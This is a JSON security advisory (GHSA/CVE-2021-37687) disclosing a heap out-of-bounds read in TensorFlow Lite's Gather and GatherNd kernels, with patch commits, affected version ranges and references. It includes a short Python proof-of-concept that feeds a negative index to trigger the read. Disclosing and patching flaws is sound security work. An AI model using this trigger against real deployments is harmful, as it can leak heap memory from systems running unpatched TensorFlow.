{ "schema_version": "1.4.0", "id": "GHSA-jwf9-w5xm-f437", "modified": "2024-11-13T21:21:55Z", "published": "2021-08-25T14:40:02Z", "aliases": [ "CVE-2021-37687" ], "summary": "Heap OOB in TFLite's `Gather*` implementations", "details": "### Impact\nTFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.\n\nHence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.\n\nSimilar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.compat.v1.disable_v2_behavior()\n\nparams = tf.compat.v1.placeholder(name=\"params\", dtype=tf.int64, shape=(1,))\nindices = tf.compat.v1.placeholder(name=\"indices\", dtype=tf.int64, shape=())\n\nout = tf.gather(params, indices, name='out')\n\nwith tf.compat.v1.Session() as sess:\n converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])\n tflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\n\nparams_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))\nindices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())\ninterpreter.set_tensor(input_details[0]['index'], params_data)\ninterpreter.set_tensor(input_details[1]['index'], indices_data)\n\ninterpreter.invoke()\n```\n\n### Patches\nWe have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ] } ], "versions": [ "2.5.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ] } ], "versions": [ "2.5.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ] } ], "versions": [ "2.5.0" ] } ], "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37687" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124" } ], "database_specific": { "cwe_ids": [ "CWE-125" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-08-24T17:49:13Z", "nvd_published_at": "2021-08-12T23:15:00Z" } }